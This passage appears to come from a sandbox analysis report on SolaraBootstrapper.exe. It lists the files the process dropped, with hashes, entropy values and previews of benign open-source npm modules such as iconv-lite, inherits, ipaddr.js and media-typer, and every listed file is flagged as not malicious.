Preview:	"use strict";..var BOMChar = '\uFEFF';..exports.PrependBOM = PrependBOMWrapper.function PrependBOMWrapper(encoder, options) {. this.encoder = encoder;. this.addBOM = true;.}..PrependBOMWrapper.prototype.write = function(str) {. if (this.addBOM) {. str = BOMChar + str;. this.addBOM = false;. }.. return this.encoder.write(str);.}..PrependBOMWrapper.prototype.end = function() {. return this.encoder.end();.}...//------------------------------------------------------------------------------..exports.StripBOM = StripBOMWrapper;.function StripBOMWrapper(decoder, options) {. this.decoder = decoder;. this.pass = false;. this.options = options \|\| {};.}..StripBOMWrapper.prototype.write = function(buf) {. var res = this.decoder.write(buf);. if (this.pass \|\| !res). return res;.. if (res[0] === BOMChar) {. res = res.slice(1);. if (typeof this.options.stripBOM === 'function'). this.options.stripBOM();. }.. this.pa

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\extend-node.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8701
Entropy (8bit):	4.405358507494983
Encrypted:	false
SSDEEP:	192:IbXxpx/xnhCuSCjPCdO/grhCu+uFopJpt:IrxpLnRvPCdLrR+TpN
MD5:	24AC97737522B61C26B830D350CFCAEA
SHA1:	850643AA226441C0D0D9913EA5362BB85543C26A
SHA-256:	7B86AEBD7175D940C50F60EAC1981490962855D9723BF971981DDD703BA6AF43
SHA-512:	237809B8FD38F594E583492E98D291FFD6EE44B5C94628615420B5D9DAF76F03B1619DDF77AC306FE7323530E2FA6346194866E7E165EAE90AE5075B2CAEB823
Malicious:	false
Preview:	"use strict";.var Buffer = require("buffer").Buffer;.// Note: not polyfilled with safer-buffer on a purpose, as overrides Buffer..// == Extend Node primitives to use iconv-lite =================================..module.exports = function (iconv) {. var original = undefined; // Place to keep original methods... // Node authors rewrote Buffer internals to make it compatible with. // Uint8Array and we cannot patch key functions since then.. // Note: this does use older Buffer API on a purpose. iconv.supportsNodeEncodingsExtension = !(Buffer.from \|\| new Buffer(0) instanceof Uint8Array);.. iconv.extendNodeEncodings = function extendNodeEncodings() {. if (original) return;. original = {};.. if (!iconv.supportsNodeEncodingsExtension) {. console.error("ACTION NEEDED: require('iconv-lite').extendNodeEncodings() is not supported in your version of Node");. console.error("See more info at https://github.com/ashtuchkin/iconv-lite/wiki/No

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	982
Entropy (8bit):	4.590684690057057
Encrypted:	false
SSDEEP:	12:U8UBFNMoa1zuuLpM3QXD2m6T2VaAWA6Q2F:VUDuoa1KkpM3QXSmCAz2F
MD5:	083C701AD23D900AB019A2E094158898
SHA1:	05C03C5E8EDDF1CDE570754D84084C33912BC40A
SHA-256:	73AAEE6A7A9CF41FB2C67158F4BC218F9DA27545EA55648B2C10CA2A9600AE15
SHA-512:	52EEB6DF35085A8EEA9374D1237B5CAD5C2D8EC1370B967E1A7A11B9AFD3C503AE01473E90BC5B5D70594E16096CF1B5CF1C21D556551AB2AC9FF416284C2E34
Malicious:	false
Preview:	/---------------------------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Licensed under the MIT License.. * REQUIREMENT: This definition is dependent on the @types/node definition.. * Install with `npm install @types/node --save-dev`. --------------------------------------------------------------------------------------------/..declare module 'iconv-lite' {..export function decode(buffer: Buffer, encoding: string, options?: Options): string;...export function encode(content: string, encoding: string, options?: Options): Buffer;...export function encodingExists(encoding: string): boolean;...export function decodeStream(encoding: string, options?: Options): NodeJS.ReadWriteStream;...export function encodeStream(encoding: string, options?: Options): NodeJS.ReadWriteStream;.}..export interface Options {. stripBOM?: boolean;. addBOM?: boolean;. defaultEncoding?: string;.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5123
Entropy (8bit):	4.657971397606252
Encrypted:	false
SSDEEP:	96:wsWY5niEC/jgNGAPtbCnz1lrDVOlraCr3q14lYU5cO5FnTncbvf6yYi:QEiEajiLCzLrDCraMaal95jFngb3tYi
MD5:	C1DA5B53FA60006BC973DC785BED2CA6
SHA1:	68CCC5B53B1B7AA66DAE594AD3150B0F66D158A5
SHA-256:	77D20E2FD5BCD9E324FB6CFDB909CD06FDAF6A91769ADFFCF4D7C4C066CCE4C3
SHA-512:	8D8AC4E9119BBE1F9A8475EDBBFFBCB260D17EAC94BD5C0AB321D1012FCD0762786A449259355F25A10905BE18051CA494F120D0E826005BA33468B05CFC54F1
Malicious:	false
Preview:	"use strict";..// Some environments don't have global Buffer (e.g. React Native)..// Solution would be installing npm modules "buffer" and "stream" explicitly..var Buffer = require("safer-buffer").Buffer;..var bomHandling = require("./bom-handling"),. iconv = module.exports;..// All codecs and aliases are kept here, keyed by encoding name/alias..// They are lazy loaded in `iconv.getCodec` from `encodings/index.js`..iconv.encodings = null;..// Characters emitted in case of error..iconv.defaultCharUnicode = '.';.iconv.defaultCharSingleByte = '?';..// Public API..iconv.encode = function encode(str, encoding, options) {. str = "" + (str \|\| ""); // Ensure string... var encoder = iconv.getEncoder(encoding, options);.. var res = encoder.write(str);. var trail = encoder.end();. . return (trail && trail.length > 0) ? Buffer.concat([res, trail]) : res;.}..iconv.decode = function decode(buf, encoding, options) {. if (typeof buf === 'string') {. if (!iconv.skipDeco

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\streams.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3387
Entropy (8bit):	4.65128182240928
Encrypted:	false
SSDEEP:	48:HJtP7Zyw/iRzB3FHu+KGXB0kAli59qFDor1Gxr1EXCXkv:HJBZyw/kfO7GXB0kAlAg2wEXCXkv
MD5:	8628E41438801C5BFDABF3BE9B1FF548
SHA1:	3982C3E4C6ABE5EC4064A8C5196395067D0C504B
SHA-256:	25A423EAF41F8DC6BC40CB28189A24E2D63B990ED72C824940BED55D0264EA6D
SHA-512:	6BBB6C654B75A23E73343F2CBC8EB84AACB09A98E4E49A875689E75040333EDAAEBDC8649DA8399BC89532150DC1AA30F5F0FB07C1523C94A6CBA3817F33A88D
Malicious:	false
Preview:	"use strict";..var Buffer = require("buffer").Buffer,. Transform = require("stream").Transform;...// == Exports ==================================================================.module.exports = function(iconv) {. . // Additional Public API.. iconv.encodeStream = function encodeStream(encoding, options) {. return new IconvLiteEncoderStream(iconv.getEncoder(encoding, options), options);. }.. iconv.decodeStream = function decodeStream(encoding, options) {. return new IconvLiteDecoderStream(iconv.getDecoder(encoding, options), options);. }.. iconv.supportsStreams = true;... // Not published yet.. iconv.IconvLiteEncoderStream = IconvLiteEncoderStream;. iconv.IconvLiteDecoderStream = IconvLiteDecoderStream;. iconv._collect = IconvLiteDecoderStream.prototype.collect;.};...// == Encoder stream =======================================================.function IconvLiteEncoderStream(conv, options) {. this.conv = conv;. options = options \|\|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1227
Entropy (8bit):	4.440470725760903
Encrypted:	false
SSDEEP:	24:Z31+2MQ9bjb9k2rPA9/0KcdUoLWUailRAlK:ZF+2MWhRu0KoLRRp
MD5:	A8B97F25878DDC5419A9AFE173037035
SHA1:	A1E76EDB6428E44345ED3851FF7AF5D850434CF5
SHA-256:	6F7C96C32F7D6E0498BE71B0CCEDAF298BB00AB4DD40C1D63655EC53477DB384
SHA-512:	ADEB2C6AA4710ED983471A3C4485F50BC5E0DA9ED28331E0D768FB23C3F2239A15C04CFAB848CC00A56786425CEE50CAE18A76FB2DB3EF27A34797782A131B4C
Malicious:	false
Preview:	{. "name": "iconv-lite",. "description": "Convert character encodings in pure javascript.",. "version": "0.4.24",. "license": "MIT",. "keywords": [. "iconv",. "convert",. "charset",. "icu". ],. "author": "Alexander Shtuchkin <ashtuchkin@gmail.com>",. "main": "./lib/index.js",. "typings": "./lib/index.d.ts",. "homepage": "https://github.com/ashtuchkin/iconv-lite",. "bugs": "https://github.com/ashtuchkin/iconv-lite/issues",. "repository": {. "type": "git",. "url": "git://github.com/ashtuchkin/iconv-lite.git". },. "engines": {. "node": ">=0.10.0". },. "scripts": {. "coverage": "istanbul cover _mocha -- --grep .",. "coverage-open": "open coverage/lcov-report/index.html",. "test": "mocha --reporter spec --grep .". },. "browser": {. "./lib/extend-node": false,. "./lib/streams": false. },. "devDependencies": {. "mocha": "^3.1.0",. "reque

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	749
Entropy (8bit):	4.988275613873547
Encrypted:	false
SSDEEP:	12:9FM9ZFICS4dCPXeTbbtLgmq6KX9KsA8ZXs1HUtA3+djz2AvPNj2M3khFLCgK2P/d:9SZFCICCtEmq6s9imgyc2jZ63ew/ea
MD5:	5B2EF2247AF6D355AE9D9F988092D470
SHA1:	3B0E8D58A362B1787EF3504FBA4F593B22F3CEE4
SHA-256:	5FFE28E7ADE7D8F10D85D5337A73FD793DAC5C462FB9A28FBF8C5046C7FBCA3B
SHA-512:	6159FE6970CDB729DCC363BFE834924A6CDED6D4AA585F965E6D58B65C54D5E198A69B3C7D4E733964A3C1542A45808016D816CD89AC3919671C601BD2ED9785
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH.REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND.FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM.LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR.OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR.PERFORMANCE OF THIS SOFTWARE...

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1625
Entropy (8bit):	4.668804266106524
Encrypted:	false
SSDEEP:	48:f0fSSxMiA174YSR5Z3Sj5IpaRu8wDJHOqQlc:fSSSjAPepn1Zj
MD5:	DE7EAB94959B05C9765CAD499AB092DB
SHA1:	F2F8D26F1CF5FB1E3A68AA225221B064F999FEFB
SHA-256:	B33C8BE1CA837D9E4C9B0E04A550FEACBC101556164D3CDBB875AED6CCBB8A29
SHA-512:	1DBA8A8AAC506A71DA9869349D64AD1E83362690E5B11A6B0EE73E6A2019A7DBAED452654029CE641254D1BDE3B3D3E4BBB0FD31360846B8CFD01DCD25793597
Malicious:	false
Preview:	Browser-friendly inheritance fully compatible with standard node.js.[inherits](http://nodejs.org/api/util.html#util_util_inherits_constructor_superconstructor)...This package exports standard `inherits` from node.js `util` module in.node environment, but also provides alternative browser-friendly.implementation through [browser.field](https://gist.github.com/shtylman/4339901). Alternative.implementation is a literal copy of standard one located in standalone.module to avoid requiring of `util`. It also has a shim for old.browsers with no `Object.create` support...While keeping you sure you are using standard `inherits`.implementation in node.js environment, it allows bundlers such as.[browserify](https://github.com/substack/node-browserify) to not.include full `util` package to your client code if all you need is.just `inherits` function. It worth, because browser shim for `util`.package is large and `inherits` is often the single function you need.from it...It's recommended to use thi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\inherits.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.647106694152876
Encrypted:	false
SSDEEP:	6:jvQfk0dRFcMz+NPZqXAXEd/BBNCl0dRFcIKBBB5g:jwBRFcFxZXERBBIqRFc3BBB5g
MD5:	9CED637189714B8D21D34AEB50B42AE8
SHA1:	222DA288A07D8F65B2AED9B88815948CFE0B42D9
SHA-256:	BB380F32BEF5FEB18678F0F45F88073FED5D7A0069A309132CB2080CD553D5C7
SHA-512:	59925A20877C9193308E6766B96C11B6D910B45583C73498B8761B091231BCE2F4F7D95EB7D2B2E83D6B8A595689B80878C27E7C1E87347BA03F6CCB0C945CD1
Malicious:	false
Preview:	try {. var util = require('util');. /* istanbul ignore next /. if (typeof util.inherits !== 'function') throw '';. module.exports = util.inherits;.} catch (e) {. / istanbul ignore next */. module.exports = require('./inherits_browser.js');.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\inherits_browser.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.269212982212497
Encrypted:	false
SSDEEP:	12:FwaHkcBI0mcMpdgfIFDIxpuFqR/urhzBI0mchBr4wPog:mykcBIe0dUcyKqR/8hzBIeLr4c
MD5:	184872B18B759A37285BEE13CD1CD0E4
SHA1:	70FCF71F449139ECBF7A5D6C78ECE069BBDF4DC3
SHA-256:	AD322A7B1DEC60F3D2EBDA2091816469EFB55B567D241CF3CF0FA4C5A4AFE500
SHA-512:	0B6F853387D1AD11BC77997F278F2503CE921A5F7049978BF60B63A1E9A772238EBEF67808C2132F35D6A198CB6432EB43B15769FF420B8DB64959CD0A9E50CF
Malicious:	false
Preview:	if (typeof Object.create === 'function') {. // implementation from standard node.js 'util' module. module.exports = function inherits(ctor, superCtor) {. if (superCtor) {. ctor.super_ = superCtor. ctor.prototype = Object.create(superCtor.prototype, {. constructor: {. value: ctor,. enumerable: false,. writable: true,. configurable: true. }. }). }. };.} else {. // old school shim for old browsers. module.exports = function inherits(ctor, superCtor) {. if (superCtor) {. ctor.super_ = superCtor. var TempCtor = function () {}. TempCtor.prototype = superCtor.prototype. ctor.prototype = new TempCtor(). ctor.prototype.constructor = ctor. }. }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	4.517825583313142
Encrypted:	false
SSDEEP:	12:d+S0Gi1e0chjDFvFC5aUXqF02s4Vl0UJk/paa:dd0v1QJDFvM5aw3/US
MD5:	F73908DAB55D4259F3ED052CE9FB2FBB
SHA1:	62B11DD736A0047FBD8D2DC0406D2118A549A359
SHA-256:	BE645800BC94FD8DE29C8AE91690549B316CC437100108AEEA7B2F347693CC80
SHA-512:	470B2FFBCBCAFB423D46C724D046B6471A7847F6C8A97158F4C22D26F429655BB40F3962026F7935741DDA6ED5E6449FB942537F610DF13D20892C5B6BB14A9D
Malicious:	false
Preview:	{. "name": "inherits",. "description": "Browser-friendly inheritance fully compatible with standard node.js inherits()",. "version": "2.0.4",. "keywords": [. "inheritance",. "class",. "klass",. "oop",. "object-oriented",. "inherits",. "browser",. "browserify". ],. "main": "./inherits.js",. "browser": "./inherits_browser.js",. "repository": "git://github.com/isaacs/inherits",. "license": "ISC",. "scripts": {. "test": "tap". },. "devDependencies": {. "tap": "^14.2.4". },. "files": [. "inherits.js",. "inherits_browser.js". ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1087
Entropy (8bit):	5.1673488390303035
Encrypted:	false
SSDEEP:	24:osvh3rmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:ospaJHlxE35QHOs5exm3ogF5n
MD5:	88F60A4B6E44CB849B5D907A7664C0EF
SHA1:	8C56B998D6016165B0A399D2736BE98EF2AD1C62
SHA-256:	62568A2D1337B77171ECCA9DB10579163446DE1BA6151678E81F06CDC199971B
SHA-512:	BED03823BF97F0F56FCCD3092938367F974BB4EBC3F3828EC6C1C430F7F7D374E7B7F5C49F633320D1565102C75CCDF280877B6B769CF608BA5BB7A79D04FEC9
Malicious:	false
Preview:	Copyright (C) 2011-2017 whitequark <whitequark@whitequark.org>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (314)
Category:	dropped
Size (bytes):	8309
Entropy (8bit):	5.118444636087176
Encrypted:	false
SSDEEP:	192:VpD/igBoQXO84nmgyFnc5qYldSmHSSXzi:VpLDXkhYc5qYl8RSDi
MD5:	6782F9A6ACCF829084C303895A2C26A9
SHA1:	E1553F0D26581F4312008A49B40EF8D0B0E4697E
SHA-256:	025B1282FBBC2F7F270E08B29414B7BBDE469284564477F38B3519446AA16220
SHA-512:	5F882221434E7DE8140DC02ECB9A26E3D4967D8A38355D3E6BCDE725EE301133AC4C977180196D4F7741D8D51C303EF004E22B5AEE163A9AC3C3284F452529E4
Malicious:	false
Preview:	# ipaddr.js . an IPv6 and IPv4 address manipulation library [![Build Status](https://travis-ci.org/whitequark/ipaddr.js.svg)](https://travis-ci.org/whitequark/ipaddr.js)..ipaddr.js is a small (1.9K minified and gzipped) library for manipulating.IP addresses in JavaScript environments. It runs on both CommonJS runtimes.(e.g. [nodejs]) and in a web browser...ipaddr.js allows you to verify and parse string representation of an IP.address, match it against a CIDR range or range list, determine if it falls.into some reserved ranges (examples include loopback and private ranges),.and convert between IPv4 and IPv4-mapped IPv6 addresses...[nodejs]: http://nodejs.org..## Installation..`npm install ipaddr.js`..or..`bower install ipaddr.js`..## API..ipaddr.js defines one object in the global scope: `ipaddr`. In CommonJS,.it is exported from the module:..```js.var ipaddr = require('ipaddr.js');.```..The API consists of several global methods and two classes: ipaddr.IPv6 and ipaddr.IPv4...### Glo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\ipaddr.min.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (9738), with no line terminators
Category:	dropped
Size (bytes):	9738
Entropy (8bit):	5.376548087766361
Encrypted:	false
SSDEEP:	192:sr++pWF8arWiasLV17s5W/KG1xZQ19asIBdh9yNyuEuSyj+CShTJ9W:srppWF8arasLV17s5W/ZxZQ10sIBdh9k
MD5:	25CBB7A40252E3E2004437B72E1EAEE5
SHA1:	9ABB27F31A6AF75D8FEDC6B97A0FFADC87238CE6
SHA-256:	AB95215C182A1BEA49617080DC12E52E3E80521894C37CE0478B69326C151440
SHA-512:	3E309D7B0D16AB26DD9D68628B57E5D77A462AD044644B2FB3B63BF095BB68D5851D97A6336E7BC31550C64B67577BBCA94EA2FEA70EA9654F9DE50BFA80AC5B
Malicious:	false
Preview:	(function(){var r,t,n,e,i,o,a,s;t={},s=this,"undefined"!=typeof module&&null!==module&&module.exports?module.exports=t:s.ipaddr=t,a=function(r,t,n,e){var i,o;if(r.length!==t.length)throw new Error("ipaddr: cannot match CIDR for objects with different lengths");for(i=0;e>0;){if((o=n-e)<0&&(o=0),r[i]>>o!=t[i]>>o)return!1;e-=n,i+=1}return!0},t.subnetMatch=function(r,t,n){var e,i,o,a,s;null==n&&(n="unicast");for(o in t)for(!(a=t[o])[0]\|\|a[0]instanceof Array\|\|(a=[a]),e=0,i=a.length;e<i;e++)if(s=a[e],r.kind()===s[0].kind()&&r.match.apply(r,s))return o;return n},t.IPv4=function(){function r(r){var t,n,e;if(4!==r.length)throw new Error("ipaddr: ipv4 octet count should be 4");for(t=0,n=r.length;t<n;t++)if(!(0<=(e=r[t])&&e<=255))throw new Error("ipaddr: ipv4 octet should fit in 8 bits");this.octets=r}return r.prototype.kind=function(){return"ipv4"},r.prototype.toString=function(){return this.octets.join(".")},r.prototype.toNormalizedString=function(){return this.toString()},r.prototype.toByteArr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\lib\ipaddr.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19333
Entropy (8bit):	4.760426115216821
Encrypted:	false
SSDEEP:	384:XOIhcv8um6YjHQ70ppf303ybmQuUuMZOZledj4L4:tWvbm62xDv03ybmQuy2ledj4L4
MD5:	FAEA7806284886C6C63A41C247008FBD
SHA1:	70EF5F22C1EAD35BD5221F3AB47EBD6820EED342
SHA-256:	D82A21A6872925DFE73E9AA10E9EB47BABA398987560E36DB107F44D92F069B0
SHA-512:	687E9584947414688215B519BA9D3BE4A75326B47AF66C3815900294F98B3C2A43161C67B91167CE9CEDFA2DAB8923BA31E9361BD7C6314C7F2685475C0EE5B1
Malicious:	false
Preview:	(function() {. var expandIPv6, ipaddr, ipv4Part, ipv4Regexes, ipv6Part, ipv6Regexes, matchCIDR, root, zoneIndex;.. ipaddr = {};.. root = this;.. if ((typeof module !== "undefined" && module !== null) && module.exports) {. module.exports = ipaddr;. } else {. root['ipaddr'] = ipaddr;. }.. matchCIDR = function(first, second, partSize, cidrBits) {. var part, shift;. if (first.length !== second.length) {. throw new Error("ipaddr: cannot match CIDR for objects with different lengths");. }. part = 0;. while (cidrBits > 0) {. shift = partSize - cidrBits;. if (shift < 0) {. shift = 0;. }. if (first[part] >> shift !== second[part] >> shift) {. return false;. }. cidrBits -= partSize;. part += 1;. }. return true;. };.. ipaddr.subnetMatch = function(address, rangeList, defaultName) {. var k, len, rangeName, rangeSubnets, subnet;. if (defaultName == null) {. defaultName = 'unicast';. }. for (ra

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\lib\ipaddr.js.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	2959
Entropy (8bit):	4.638206496270271
Encrypted:	false
SSDEEP:	48:gztch7yL4qOS8GWHBBJr+Gtf8SuieGrzaU8SNfx+40Whb:6tcNywS8GWHBBJr+wf8STeGrzaU8SNfX
MD5:	69FE76ECEC2EB98CD45F17EC7DC7393B
SHA1:	F99EAAD680E2CDB0C60D67FDC17DB35E62310153
SHA-256:	662A75272462317059315F3028452DC8044F752AD0B6B61C084A7AE3EEB0F775
SHA-512:	854EE0C571B61A4DF5DB9E6257FC5B5954F44C96AFADE795BEB40D2F57459BCA8654897C5EDAE633AA3E3B7CC253F035FDE867BE39963D9D33762AA0C023E2FE
Malicious:	false
Preview:	declare module "ipaddr.js" {. type IPv4Range = 'unicast' \| 'unspecified' \| 'broadcast' \| 'multicast' \| 'linkLocal' \| 'loopback' \| 'carrierGradeNat' \| 'private' \| 'reserved';. type IPv6Range = 'unicast' \| 'unspecified' \| 'linkLocal' \| 'multicast' \| 'loopback' \| 'uniqueLocal' \| 'ipv4Mapped' \| 'rfc6145' \| 'rfc6052' \| '6to4' \| 'teredo' \| 'reserved';.. interface RangeList<T> {. [name: string]: [T, number] \| [T, number][];. }.. // Common methods/properties for IPv4 and IPv6 classes.. class IP {. prefixLengthFromSubnetMask(): number \| null;. toByteArray(): number[];. toNormalizedString(): string;. toString(): string;. }.. namespace Address {. export function isValid(addr: string): boolean;. export function fromByteArray(bytes: number[]): IPv4 \| IPv6;. export function parse(addr: string): IPv4 \| IPv6;. export function parseCIDR(mask: string): [IPv4 \| IPv6, number];. export function process(addr: strin

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	4.783962360583112
Encrypted:	false
SSDEEP:	12:yh8co1QMcFsvP5R6yrd9UJSCpxIeXLNdCjWjVDZAkTc3V0wi1020O6XdPN68n:sg1QM0svh5R2ECEe7NVb2mmRn
MD5:	17BC176C8D78F76C5E70CAD7BA16A598
SHA1:	532BE044CE57A9F81FED35F3742767F587CFBC95
SHA-256:	FC1071893728A0E78FA40CE0DBE04C5A1021179FDCB5B229F274E3556D6A87CD
SHA-512:	E2D7731224DC5FE287B5E2FD4FA7EE713A082D66BD802FE38ABA0FCB6C6F1968E29C573A0C77258DBD229FFC2CF3A14FE2DC517892E5336B8B73ED0B5114A6C7
Malicious:	false
Preview:	{. "name": "ipaddr.js",. "description": "A library for manipulating IPv4 and IPv6 addresses in JavaScript.",. "version": "1.9.1",. "author": "whitequark <whitequark@whitequark.org>",. "directories": {. "lib": "./lib". },. "dependencies": {},. "devDependencies": {. "coffee-script": "~1.12.6",. "nodeunit": "^0.11.3",. "uglify-js": "~3.0.19". },. "scripts": {. "test": "cake build test". },. "files": [. "lib/",. "LICENSE",. "ipaddr.min.js". ],. "keywords": [. "ip",. "ipv4",. "ipv6". ],. "repository": "git://github.com/whitequark/ipaddr.js",. "main": "./lib/ipaddr.js",. "engines": {. "node": ">= 0.10". },. "license": "MIT",. "types": "./lib/ipaddr.js.d.ts".}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	461
Entropy (8bit):	4.6244103901918
Encrypted:	false
SSDEEP:	6:Oo08SzVQ6Fm2jX6azWvYFMaxF8t5IMwSZz4Xv1eC72Xv18XS+5/LWlIaMCEoE9:OJ8GnEsaQmtH/wWzCvcC78vWL58KB
MD5:	370BE51F8776B7E79B16228F7DC6762A
SHA1:	5912252F83CDA3E2A5741F2CD2593EFA95EC5DD0
SHA-256:	739DE29408B3F06851637FEF507F1B42F584725E547C272CF19929D5F568CBC2
SHA-512:	84131335673FC56A8E78BCA0207124CB1DFB05DC88B3AEDBDFF3A7BB126DCBE55BC2BF8144D6342605107F6DDAD3E52B06607167638ED761EABF77A955BA175C
Malicious:	false
Preview:	0.3.0 / 2014-09-07.==================.. * Support Node.js 0.6. * Throw error when parameter format invalid on parse..0.2.0 / 2014-06-18.==================.. * Add `typer.format()` to format media types..0.1.0 / 2014-06-17.==================.. * Accept `req` as argument to `parse`. * Accept `res` as argument to `parse`. * Parse media type with extra LWS between type and first parameter..0.0.0 / 2014-06-13.==================.. * Initial implementation.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\media-typer\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	5.104507231535383
Encrypted:	false
SSDEEP:	24:5iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:5iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	C6E0CE1E688C5FF16DB06B7259E9CD20
SHA1:	6EABBF0405809A1FCCACB1B08CE5CF34AD97E980
SHA-256:	74D8054D56D522BDAA340D3D71130CB204997D523A5292C85AC1264DD77C8D06
SHA-512:	9A1510C25D4B6268ED349107857966AEE665ECBDAFB447341915D0C965F735D59725BD253BF361CF65E99DD166DBE9D9F1059E455C78B406CF4783D2DBA45362
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 